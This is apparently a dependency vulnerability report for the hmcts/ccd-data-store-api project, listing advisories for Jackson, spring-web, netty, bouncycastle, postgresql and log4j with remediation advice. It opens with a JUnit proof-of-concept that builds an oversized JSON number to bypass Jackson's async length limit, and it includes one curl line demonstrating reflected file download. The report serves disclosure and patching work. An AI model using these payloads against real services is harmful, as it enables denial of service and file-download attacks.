    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-core@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Input Validation. The protections against Reflected File Download attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.

Remediation

Upgrade org.springframework:spring-web to version 4.3.29.RELEASE, 5.0.19.RELEASE, 5.1.18.RELEASE, 5.2.9.RELEASE or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Uncontrolled Memory Allocation

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Uncontrolled Memory Allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.

Remediation

Upgrade io.netty:netty-codec to version 4.1.46.Final or higher.

References

high severity

Timing Attack

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 and org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.bouncycastle:bcprov-jdk18on@1.81.1
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.bouncycastle:bcprov-jdk18on@1.81.1

Overview

Affected versions of this package are vulnerable to Timing Attack through the sample and sample_matrix functions in FrodoEngine.java. An attacker can recover information about the sampled noise values by observing how long Frodo key generation or encapsulation takes when it processes attacker-influenced inputs. The variable-time comparison and sign handling in the error sampler leak the distribution of the generated samples, weakening the secrecy of the private Frodo noise and enabling key-recovery attacks against affected deployments.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

high severity
new

Incorrect Implementation of Authentication Algorithm

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.7.11

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.postgresql:postgresql@42.7.11
    Remediation: Upgrade to org.postgresql:postgresql@42.7.12.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Incorrect Implementation of Authentication Algorithm in the ScramAuthenticator class, which fails open by confirming only that the server advertised a -PLUS mechanism while neither rejecting an empty channel binding nor verifying that the negotiated mechanism actually uses channel binding. An attacker intercepting the TLS connection can strip the MitM protection that channelBinding=require is meant to guarantee, downgrading authentication from SCRAM-SHA-256-PLUS to plain SCRAM-SHA-256, by presenting a certificate with a signature algorithm such as Ed25519, Ed448, or a post-quantum scheme that makes the bundled scram-client return an empty binding instead of failing. This affects only connections that explicitly set channelBinding=require, since the default prefer policy documents fallback as expected behavior.

Workaround

This vulnerability can be avoided by configuring the connection with sslmode=verify-full and a restrictive truststore, which provides equivalent MitM protection independent of channel binding.

Remediation

Upgrade org.postgresql:postgresql to version 42.7.12 or higher.

References

high severity

Reflected File Download (RFD)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Reflected File Download (RFD). A reflected file download attack is possible when the filename attribute of the Content-Disposition header is derived from user-supplied input.

PoC

curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -

Remediation

Upgrade org.springframework:spring-web to version 5.2.3, 5.1.13, 5.0.16 or higher.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the XmlLayout plugin. An attacker can cause log events to be silently lost or malformed by injecting XML 1.0 forbidden characters into log messages or MDC values. This may result in malformed XML output, which can cause downstream log-processing systems to drop affected records or prevent log events from being delivered to their intended destinations.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
